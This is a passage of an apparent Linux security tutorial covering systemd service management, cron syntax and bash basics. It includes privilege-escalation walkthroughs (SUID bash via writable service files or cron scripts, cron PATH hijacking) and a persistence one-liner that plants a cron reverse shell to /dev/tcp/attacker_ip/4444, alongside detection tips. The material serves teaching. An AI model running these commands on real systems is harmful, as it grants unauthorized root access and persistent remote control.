&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Service status&lt;/span&gt;
systemctl status ssh                   &lt;span class="c"&gt;# Status of SSH service&lt;/span&gt;
systemctl status ssh &lt;span class="nt"&gt;-l&lt;/span&gt;                &lt;span class="c"&gt;# Full output, no truncation&lt;/span&gt;

&lt;span class="c"&gt;# Start, stop, restart&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start ssh
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl stop ssh
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart ssh             &lt;span class="c"&gt;# Stop then start&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl reload ssh              &lt;span class="c"&gt;# Reload config without full restart (when supported)&lt;/span&gt;

&lt;span class="c"&gt;# Enable/Disable at boot&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;ssh              &lt;span class="c"&gt;# Start automatically at boot&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl disable ssh             &lt;span class="c"&gt;# Don't start at boot&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;--now&lt;/span&gt; ssh        &lt;span class="c"&gt;# Enable AND start immediately&lt;/span&gt;

&lt;span class="c"&gt;# List services&lt;/span&gt;
systemctl list-units &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;service    &lt;span class="c"&gt;# All active services&lt;/span&gt;
systemctl list-units &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;service &lt;span class="nt"&gt;--all&lt;/span&gt;  &lt;span class="c"&gt;# All including inactive&lt;/span&gt;
systemctl list-unit-files &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;service  &lt;span class="c"&gt;# All with enable/disable status&lt;/span&gt;

&lt;span class="c"&gt;# Check if enabled&lt;/span&gt;
systemctl is-enabled ssh               &lt;span class="c"&gt;# enabled / disabled / static&lt;/span&gt;
systemctl is-active ssh                &lt;span class="c"&gt;# active / inactive&lt;/span&gt;
systemctl is-failed ssh                &lt;span class="c"&gt;# Reports failed services&lt;/span&gt;

&lt;span class="c"&gt;# Service logs&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh                      &lt;span class="c"&gt;# Logs for SSH service&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh &lt;span class="nt"&gt;-f&lt;/span&gt;                   &lt;span class="c"&gt;# Follow (live)&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh &lt;span class="nt"&gt;--since&lt;/span&gt; &lt;span class="s2"&gt;"1 hour ago"&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh &lt;span class="nt"&gt;-n&lt;/span&gt; 50                &lt;span class="c"&gt;# Last 50 lines&lt;/span&gt;

&lt;span class="c"&gt;# System-wide operations&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl reboot
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl poweroff
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl halt
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;suspend&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Service Files — Understanding the Target
&lt;/h3&gt;

&lt;p&gt;Service files define how services are configured. They live in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;/&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;systemd&lt;/span&gt;/&lt;span class="n"&gt;system&lt;/span&gt;/       — &lt;span class="n"&gt;Custom&lt;/span&gt;/&lt;span class="n"&gt;overriding&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;
/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;lib&lt;/span&gt;/&lt;span class="n"&gt;systemd&lt;/span&gt;/&lt;span class="n"&gt;system&lt;/span&gt;/   — &lt;span class="n"&gt;Package&lt;/span&gt;-&lt;span class="n"&gt;installed&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View a service file&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/systemd/system/ssh.service
systemctl &lt;span class="nb"&gt;cat &lt;/span&gt;ssh                      &lt;span class="c"&gt;# Display the service file&lt;/span&gt;

&lt;span class="c"&gt;# Example service file structure:&lt;/span&gt;
&lt;span class="c"&gt;# [Unit]&lt;/span&gt;
&lt;span class="c"&gt;# Description=OpenBSD Secure Shell server&lt;/span&gt;
&lt;span class="c"&gt;# After=network.target&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# [Service]&lt;/span&gt;
&lt;span class="c"&gt;# Type=notify&lt;/span&gt;
&lt;span class="c"&gt;# ExecStart=/usr/sbin/sshd -D&lt;/span&gt;
&lt;span class="c"&gt;# ExecReload=/bin/kill -HUP $MAINPID&lt;/span&gt;
&lt;span class="c"&gt;# User=root                           ← What user it runs as&lt;/span&gt;
&lt;span class="c"&gt;# Restart=on-failure&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# [Install]&lt;/span&gt;
&lt;span class="c"&gt;# WantedBy=multi-user.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Implication — Service File Modification:&lt;/strong&gt;&lt;br&gt;
If an attacker can write to a service file or the directory containing it, they can modify &lt;code&gt;ExecStart&lt;/code&gt; to execute arbitrary commands. Since services often run as root, this is a direct privilege escalation path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check write permissions on service directories&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/systemd/system/
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/lib/systemd/system/

&lt;span class="c"&gt;# If writable, modify a service that runs as root:&lt;/span&gt;
&lt;span class="c"&gt;# ExecStart=/bin/bash -c 'chmod +s /bin/bash'&lt;/span&gt;
&lt;span class="c"&gt;# Then restart the service → /bin/bash becomes SUID root&lt;/span&gt;
&lt;span class="c"&gt;# Then: bash -p → root shell&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.4 Common Services in Security Contexts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Services you will frequently interact with:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status ssh        &lt;span class="c"&gt;# SSH server — remote access&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status apache2    &lt;span class="c"&gt;# Web server (Debian/Ubuntu)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status nginx      &lt;span class="c"&gt;# Web server&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status mysql      &lt;span class="c"&gt;# MySQL database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status postgresql &lt;span class="c"&gt;# PostgreSQL database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status docker     &lt;span class="c"&gt;# Docker container engine&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status cron       &lt;span class="c"&gt;# Cron job scheduler&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start/stop/status rsyslog    &lt;span class="c"&gt;# System logging&lt;/span&gt;

&lt;span class="c"&gt;# In CTFs — start a service for enumeration:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start ssh
&lt;span class="c"&gt;# Now you can SSH into your lab machine from another VM&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Cron Jobs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 What Is Cron
&lt;/h3&gt;

&lt;p&gt;Cron is the Linux task scheduler. It runs commands at specified times automatically. The cron daemon (&lt;code&gt;crond&lt;/code&gt;) checks crontab files every minute and executes scheduled commands.&lt;/p&gt;

&lt;p&gt;This is one of the most common &lt;strong&gt;persistence mechanisms&lt;/strong&gt; for attackers and one of the most important &lt;strong&gt;privilege escalation vectors&lt;/strong&gt; when misconfigured.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 Crontab Syntax
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;* * * * * &lt;span class="n"&gt;command_to_run&lt;/span&gt;
│ │ │ │ │
│ │ │ │ └── &lt;span class="n"&gt;Day&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;week&lt;/span&gt; (&lt;span class="m"&gt;0&lt;/span&gt;-&lt;span class="m"&gt;7&lt;/span&gt;, &lt;span class="m"&gt;0&lt;/span&gt;=&lt;span class="n"&gt;Sunday&lt;/span&gt;, &lt;span class="m"&gt;7&lt;/span&gt;=&lt;span class="n"&gt;Sunday&lt;/span&gt;)
│ │ │ └──── &lt;span class="n"&gt;Month&lt;/span&gt; (&lt;span class="m"&gt;1&lt;/span&gt;-&lt;span class="m"&gt;12&lt;/span&gt;)
│ │ └────── &lt;span class="n"&gt;Day&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;month&lt;/span&gt; (&lt;span class="m"&gt;1&lt;/span&gt;-&lt;span class="m"&gt;31&lt;/span&gt;)
│ └──────── &lt;span class="n"&gt;Hour&lt;/span&gt; (&lt;span class="m"&gt;0&lt;/span&gt;-&lt;span class="m"&gt;23&lt;/span&gt;)
└────────── &lt;span class="n"&gt;Minute&lt;/span&gt; (&lt;span class="m"&gt;0&lt;/span&gt;-&lt;span class="m"&gt;59&lt;/span&gt;)

&lt;span class="n"&gt;Special&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;:
@&lt;span class="n"&gt;reboot&lt;/span&gt;    → &lt;span class="n"&gt;Run&lt;/span&gt; &lt;span class="n"&gt;once&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
@&lt;span class="n"&gt;hourly&lt;/span&gt;    → &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="n"&gt;hour&lt;/span&gt;
@&lt;span class="n"&gt;daily&lt;/span&gt;     → &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;midnight&lt;/span&gt;
@&lt;span class="n"&gt;weekly&lt;/span&gt;    → &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="n"&gt;Sunday&lt;/span&gt; &lt;span class="n"&gt;midnight&lt;/span&gt;
@&lt;span class="n"&gt;monthly&lt;/span&gt;   → &lt;span class="n"&gt;First&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;month&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;midnight&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run script every minute&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; /usr/local/bin/script.sh

&lt;span class="c"&gt;# Run at 3:30 AM every day&lt;/span&gt;
30 3 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; /usr/local/bin/backup.sh

&lt;span class="c"&gt;# Run every 15 minutes&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt;/15 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; /usr/local/bin/check.sh

&lt;span class="c"&gt;# Run Monday to Friday at 9 AM&lt;/span&gt;
0 9 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; 1-5 /usr/local/bin/workday_task.sh

&lt;span class="c"&gt;# Run at system boot&lt;/span&gt;
@reboot /usr/local/bin/startup.sh

&lt;span class="c"&gt;# Run every hour&lt;/span&gt;
@hourly /usr/local/bin/hourly_task.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Managing Crontabs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Edit your crontab&lt;/span&gt;
crontab &lt;span class="nt"&gt;-e&lt;/span&gt;                             &lt;span class="c"&gt;# Opens in your default editor&lt;/span&gt;

&lt;span class="c"&gt;# View your crontab&lt;/span&gt;
crontab &lt;span class="nt"&gt;-l&lt;/span&gt;

&lt;span class="c"&gt;# Remove your crontab&lt;/span&gt;
crontab &lt;span class="nt"&gt;-r&lt;/span&gt;

&lt;span class="c"&gt;# Edit another user's crontab (requires root)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;crontab &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nt"&gt;-e&lt;/span&gt;

&lt;span class="c"&gt;# View root's crontab&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;crontab &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;crontab &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 System-Wide Cron Locations
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# System-wide crontab (has username field)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab

&lt;span class="c"&gt;# Cron directories — drop scripts here&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.d/          &lt;span class="c"&gt;# Additional system cron jobs&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.daily/      &lt;span class="c"&gt;# Run daily&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.hourly/     &lt;span class="c"&gt;# Run hourly&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.weekly/     &lt;span class="c"&gt;# Run weekly&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.monthly/    &lt;span class="c"&gt;# Run monthly&lt;/span&gt;

&lt;span class="c"&gt;# Individual user crontabs are stored here:&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/spool/cron/crontabs/
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /var/spool/cron/crontabs/root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 Cron as an Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Cron-based Privilege Escalation — the Most Common Linux Privesc:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Step 1: Find cron jobs running as root&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;crontab &lt;span class="nt"&gt;-l&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Check if the script being run is writable&lt;/span&gt;
&lt;span class="c"&gt;# Found: * * * * * root /usr/local/bin/cleanup.sh&lt;/span&gt;

&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/local/bin/cleanup.sh
&lt;span class="c"&gt;# -rwxrwxrwx root root  cleanup.sh  ← world-writable! attacker can modify it&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Modify the script to execute your payload&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /usr/local/bin/cleanup.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'chmod +s /bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /usr/local/bin/cleanup.sh
&lt;span class="c"&gt;# Wait up to 60 seconds for cron to execute&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: After cron runs:&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /bin/bash
&lt;span class="c"&gt;# -rwsr-sr-x root root  /bin/bash  ← now SUID root&lt;/span&gt;

bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cron PATH Hijacking:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If /etc/crontab has:&lt;/span&gt;
&lt;span class="c"&gt;# PATH=/usr/local/bin:/usr/bin:/bin&lt;/span&gt;
&lt;span class="c"&gt;# * * * * * root cleanup.sh   ← no absolute path!&lt;/span&gt;

&lt;span class="c"&gt;# And /usr/local/bin is writable:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /usr/local/bin/cleanup.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'chmod +s /bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /usr/local/bin/cleanup.sh
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /usr/local/bin/cleanup.sh
&lt;span class="c"&gt;# Cron finds your script first in PATH, executes it as root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cron as Persistence (Attacker Perspective):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Add a cron job that reconnects to C2 every minute&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;crontab &lt;span class="nt"&gt;-l&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"* * * * * /bin/bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/attacker_ip/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; | crontab -

&lt;span class="c"&gt;# At reboot&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;crontab &lt;span class="nt"&gt;-l&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"@reboot /usr/local/bin/.hidden_backdoor"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; | crontab -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Monitor cron job changes&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lat&lt;/span&gt; /var/spool/cron/crontabs/    &lt;span class="c"&gt;# Check modification times&lt;/span&gt;
inotifywait &lt;span class="nt"&gt;-m&lt;/span&gt; /var/spool/cron/crontabs/  &lt;span class="c"&gt;# Real-time monitoring&lt;/span&gt;

&lt;span class="c"&gt;# Check for recently modified cron-related files&lt;/span&gt;
find /etc/cron&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="nt"&gt;-newer&lt;/span&gt; /etc/passwd 2&amp;gt;/dev/null
find /var/spool/cron &lt;span class="nt"&gt;-newer&lt;/span&gt; /etc/passwd 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Bash Scripting Fundamentals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Why Scripting Is Non-Negotiable
&lt;/h3&gt;

&lt;p&gt;Manual commands are for exploration. Scripts are for automation, repeatability, and scale. Every security professional needs scripting ability because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Automating reconnaissance across hundreds of targets&lt;/li&gt;
&lt;li&gt;Building custom detection logic&lt;/li&gt;
&lt;li&gt;Processing large log files&lt;/li&gt;
&lt;li&gt;Chaining tools together into workflows&lt;/li&gt;
&lt;li&gt;Writing proof-of-concept exploits&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.2 Script Structure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Shebang line — tells the OS what interpreter to use&lt;/span&gt;
&lt;span class="c"&gt;# #!/bin/bash  → bash&lt;/span&gt;
&lt;span class="c"&gt;# #!/bin/sh    → POSIX shell (more portable)&lt;/span&gt;
&lt;span class="c"&gt;# #!/usr/bin/env python3  → Python 3&lt;/span&gt;

&lt;span class="c"&gt;# Script metadata (good practice)&lt;/span&gt;
&lt;span class="c"&gt;# Author: Your Name&lt;/span&gt;
&lt;span class="c"&gt;# Date: 2026-01-01&lt;/span&gt;
&lt;span class="c"&gt;# Purpose: Brief description&lt;/span&gt;

&lt;span class="c"&gt;# Your code starts here&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Script started"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Make a script executable&lt;/span&gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x script.sh

&lt;span class="c"&gt;# Run it&lt;/span&gt;
./script.sh
bash script.sh        &lt;span class="c"&gt;# Alternative, doesn't need execute permission&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 Variables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;# Variable assignment (no spaces around =)&lt;/span&gt;
&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Alice"&lt;/span&gt;
&lt;span class="nv"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30
&lt;span class="nv"&gt;ip_address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.100"&lt;/span&gt;

&lt;span class="c"&gt;# Using variables ($ prefix)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hello, &lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Age: &lt;/span&gt;&lt;span class="nv"&gt;$age&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Target: &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip_address&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;    &lt;span class="c"&gt;# Curly braces for clarity&lt;/span&gt;

&lt;span class="c"&gt;# Command substitution — store command output in variable&lt;/span&gt;
&lt;span class="nv"&gt;current_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;ip_list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip addr | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"inet "&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Running as: &lt;/span&gt;&lt;span class="nv"&gt;$current_user&lt;/span&gt;&lt;span class="s2"&gt; on &lt;/span&gt;&lt;span class="nv"&gt;$hostname&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Special variables&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Script name: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"First argument: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Second argument: &lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"All arguments: &lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Argument count: $#"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Last exit code: &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;       &lt;span class="c"&gt;# 0 = success, non-zero = error&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Current PID: &lt;/span&gt;&lt;span class="nv"&gt;$$&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Environment variables (already set by the system)&lt;/span&gt;
